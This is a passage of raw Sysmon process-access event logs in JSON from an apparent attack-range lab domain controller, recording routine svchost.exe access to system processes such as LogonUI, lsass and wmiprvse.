11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001029250200}\r\nTargetProcessId: 3124\r\nTargetImage: C:\\Windows\\system32\\wbem\\unsecapp.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","SourceProcessId":"628","SourceThreadId":"1932","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+ed71|c:\\windows\\system32\\rpcss.dll+ca3e|c:\\windows\\system32\\rpcss.dll+b157|c:\\windows\\system32\\rpcss.dll+7897|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nSourceProcessId: 628\r\nSourceThreadId: 1932\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 